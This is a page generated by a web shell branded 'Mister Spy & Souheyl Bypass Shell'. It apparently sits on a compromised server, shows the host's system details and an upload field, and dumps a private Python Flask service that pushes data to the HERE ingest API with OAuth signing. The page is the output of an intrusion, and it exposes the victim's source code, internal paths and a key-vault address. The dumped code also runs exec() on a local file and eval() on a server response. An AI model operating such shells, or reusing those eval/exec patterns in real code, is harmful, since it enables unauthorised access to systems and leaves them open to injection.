Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/hereapi3/hereapi/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/hereapi3/hereapi/app_new.py

import time                    #To generate the OAuth timestamp
import urllib.parse            #To URLencode the parameter string
import hmac                    #To implement HMAC algorithm
import hashlib                 #To generate SHA256 digest
from base64 import b64encode   #To encode binary data into Base64
import binascii                #To convert data into ASCII
import requests                #To make HTTP requests

import os,random,json
import azure.identity
from azure.keyvault.secrets import SecretClient
    

#print("ACC",here_access_key_id[0:2])
#print("SEC",here_access_key_secret[0:2])
#
here_token_endpoint_url = "https://account.api.here.com/oauth2/token" 


apis                    = None
apis_cat                = None
catalogs                = None

data_chunk              = []
count_total_r           = 0
oauth_token             = ""


from flask import Flask
from flask import request
app = Flask(__name__)


@app.route("/dummy",methods=["POST","GET"])
def dummy():

    return(200,"OK")

    

@app.route("/here",methods=["POST","GET"])
def here():

    global oauth_timestamp
    global oauth_token
    global data_chunk
    global ingest_api
    global apis
    global apis_cat
    global catalogs
    global count_total_r    
    
#    request_data = bytes(request.data)
#    try:
    request_data = request.data.decode("utf-8")
    incoming_data_length  = len(request_data)
    incoming_data_headers = request.headers
    headers_len           = len(str(request.headers))
#    except:
#        request_data = request.data
    
#    print(request_data)
#    exit()


#   --   1.  Get the api urls:

    if not apis:
        response = get_response("https://api-lookup.data.api.platform.here.com/lookup/v1/platform/apis")
        apis     = json.loads(bytes(response.content))
    for api in apis:
        print(api)
        if api['api'] == "config":
            config_api = api['baseURL']

#   --   2.  Retrieve catalogues and layers

    if not catalogs:
        catalogs = {}
        response = get_response(config_api+"/catalogs")
        cat_tmp = json.loads(bytes(response.content))
        for catalog in cat_tmp['results']['items']:
            hrn = catalog['hrn']
            if not hrn in catalogs:
                catalogs[hrn] = {}
            response            = get_response(config_api+"/catalogs/"+hrn)
            layers              = json.loads(bytes(response.content))['layers']
#            print(layers)
            for layer in layers:
                layerid = layer['id']
                catalogs[hrn][layerid] = layer
        

    bed = 0
    for hrn in catalogs:
        for layerid in catalogs[hrn]:
#            print("----------------------------------------------------------")
            print("Catalog",hrn," --- Layer",layerid,":")
#            print("ACC",here_access_key_id[0:4])
#            print("SEC",here_access_key_secret[0:4])
            if "probe" in hrn+layerid:
                bed = 1
                break
        if bed == 1:
            break 


#   --   3.  Get the catalog api urls:

    if not apis_cat:
        response = get_response("https://api-lookup.data.api.platform.here.com/lookup/v1/resources/"+hrn+"/apis")
        apis_cat = json.loads(bytes(response.content))
    for api in apis_cat:  
#        print("CAT",api)
        if api['api'] == "ingest":
            ingest_api = api['baseURL']



#   --   4.  Append to data chunk, or fire it and create a new, empty one

    pos_data = json.loads(request_data)
#    pos_data = pos_data[0]  #  ["data"]
#    print(pos_data)

    if  request.method == "POST":
        pos_data_dumped = json.dumps(pos_data)
        data_chunk.append(pos_data_dumped)
#        print("CHUNK",",".join(data_chunk))
        if True or len(",".join(data_chunk)) > 800:   #  the data chunk is big enough to send out now:
#            print("send_out")
#            print(len(data_chunk),data_chunk)
            if len(data_chunk) > 1:
#                print(123)
                data_to_pass = "["+",".join(data_chunk)+"]"
            else:
#                print(456)
                data_to_pass = data_chunk[0]
#                print(789,data_to_pass)
            try:
                json.loads(data_to_pass)  # test whether it is a valid json
            except:
                return("Not a valid JSON",415)

#   --->   UPLOAD TO HERE

            if len(data_chunk) == 1:   #  ingest data agnostic
#                print("DDD",data_to_pass)
                outgoing_data_length = len(data_to_pass)
                response = get_response(ingest_api+"/layers/"+layerid,data=data_to_pass)
                count_total_r = count_total_r + 1
                print("RESULT UPLOAD",response.status_code,"I/H/O:",str(incoming_data_length)+"/"+str(headers_len)+"/"+str(outgoing_data_length),str(count_total_r),response.content)
#                print("-->  IN ",request_data)
#                print("-->  HE ",incoming_data_headers)
#                print("-->  OUT",data_to_pass)
            else:                      #  ingest data in sdii
                pass
            data_chunk = []
            



#    elif request.method == "GET":
#        pos_data = dict(request.args)


    return(response.content,response.status_code)

#**********************************************************************************************************************

def get_response (url,data=None):

    global oauth_token

    zaehler = 0
    
    while zaehler < 1:

        headers = {
                    'Authorization' : 'Bearer ' + oauth_token,
                    'Cache-Control' : 'no-cache'
                  }
#        print(">>>>>>>>>>>>>>> Outgoing header:")
#        print(headers)
#        print("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<")
        

        if data:
            headers['Content-type'] = "application/json"
            response = requests.post(url,headers=headers,json=data)
        else:
            response = requests.get(url,headers=headers)

#        print(response.content)
        if int(response.status_code) == 401:    #  Token not valid
            time.sleep(0.5*zaehler)
            oauth_nonce      = str(random.randint(10000000,999999999))
            oauth_timestamp  = str(int(time.time()))
            oauth_token      = get_token(oauth_nonce,oauth_timestamp)
            print("------------------------------------------------------------------")
            print("New token generated",oauth_token)
            print("------------------------------------------------------------------")
#            zaehler = zaehler + 1
        elif int(response.status_code) > 399:
            zaehler = zaehler + 1
            print("repeat")
            time.sleep(0.001)
        else:
            response.status_code = response.status_code + zaehler
            return(response)

    if int(response.status_code) > 200:
        response.status_code = 450
            

    response.status_code = response.status_code + zaehler
    return(response)

#**********************************************************************************************************************

def get_token (oauth_nonce,oauth_timestamp):


    from azure.keyvault.secrets import SecretClient
    cred = azure.identity.DefaultAzureCredential()

    try:
        text = open("keyvault.py").read()
        cred = None
    except:
        pass
    
    if not cred:
        print(text)
        exec(text)
    



    
    if cred:
        secret_client          = SecretClient(vault_url="https://kv-cappa-p-product-010.vault.azure.net/",credential=cred)
#        here_access_key_id     = secret_client.get_secret("here-access-key-id")
#        here_access_key_secret = secret_client.get_secret("here-access-key-secret")
#        here_access_key_id     = here_access_key_id.value
#        here_access_key_secret = here_access_key_secret.value
    
        here_access_key_id     = os.environ["KEY_ID"]
        here_access_key_secret = os.environ["KEY_SEC"]


    grant_type              = 'client_credentials'
    oauth_consumer_key      = here_access_key_id   # 'HERE.ACCESS.KEY.ID' #From credentials.properties file
    oauth_signature_method  = 'HMAC-SHA256'
    oauth_timestamp         = "0"
    oauth_version           = '1.0'

    parameter_string = create_parameter_string(grant_type, oauth_consumer_key,oauth_nonce,oauth_signature_method,oauth_timestamp,oauth_version)
    encoded_parameter_string = urllib.parse.quote(parameter_string, safe='')
#    print("%-30s" % "PARAMETER STRING", parameter_string)

 
    encoded_base_string = 'POST' + '&' + urllib.parse.quote(here_token_endpoint_url, safe='')
    encoded_base_string = encoded_base_string + '&' + encoded_parameter_string

#    print("%-30s" % "ENCODED_BASE_STRING", encoded_base_string)


    access_key_secret = here_access_key_secret  #  'HERE.ACCESS.KEY.SECRET'#From credentials.properties file
    signing_key       = access_key_secret + '&'

    oauth_signature         = create_signature(signing_key, encoded_base_string)  #  [:-1]
    encoded_oauth_signature = urllib.parse.quote(oauth_signature, safe='')

#    print("%-30s" % "OAUTH_SIGNATURE",        oauth_signature)
#    print("%-30s" % "ENCODED_OAUTH_SIGNATURE",encoded_oauth_signature)

    headers = {
                'Content-Type' : 'application/x-www-form-urlencoded',
                'Authorization' : ('OAuth '                                                   +
                                  'oauth_consumer_key="'    +oauth_consumer_key+'",'          +
                                  'oauth_nonce="'           +oauth_nonce+'",'                 +
                                  'oauth_signature="'       +encoded_oauth_signature+'",'     +
                                  'oauth_signature_method="'+oauth_signature_method+'",'      +
                                  'oauth_timestamp="'       +oauth_timestamp+'",'             +
                                  'oauth_version="'         +oauth_version+'"')
              }

    body =  {'grant_type' :  'client_credentials'}


#    print("")
#    print("HEADER:")
#    print(headers)
#    print("")

#    print("%-30s" % "BODY", body)


    response = requests.post(here_token_endpoint_url,data=body,headers=headers)
    
#    print("")
#    print("RESPONSE")
#    print("ACC",here_access_key_id[0:4])
#    print("SEC",here_access_key_secret[0:4])

#    print("")
    print(response.content)

    access_token = eval(str(response.content)[2:-1])
#    access_token = bytes(response.content)

    return(access_token['access_token'])


#**************************************************************************************************

def create_parameter_string (grant_type, oauth_consumer_key,oauth_nonce,oauth_signature_method,oauth_timestamp,oauth_version):

    parameter_string = ''
    parameter_string = parameter_string + 'grant_type=' + grant_type
    parameter_string = parameter_string + '&oauth_consumer_key=' + oauth_consumer_key
    parameter_string = parameter_string + '&oauth_nonce=' + oauth_nonce
    parameter_string = parameter_string + '&oauth_signature_method=' + oauth_signature_method
    parameter_string = parameter_string + '&oauth_timestamp=' + oauth_timestamp
    parameter_string = parameter_string + '&oauth_version=' + oauth_version

    return parameter_string

#**************************************************************************************************

def create_signature (secret_key,signature_base_string):

    encoded_string = signature_base_string.encode()
    encoded_key    = secret_key.encode()
    temp           = hmac.new(encoded_key, encoded_string, hashlib.sha256).hexdigest()
    byte_array     = b64encode(binascii.unhexlify(temp))

    return byte_array.decode()




bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net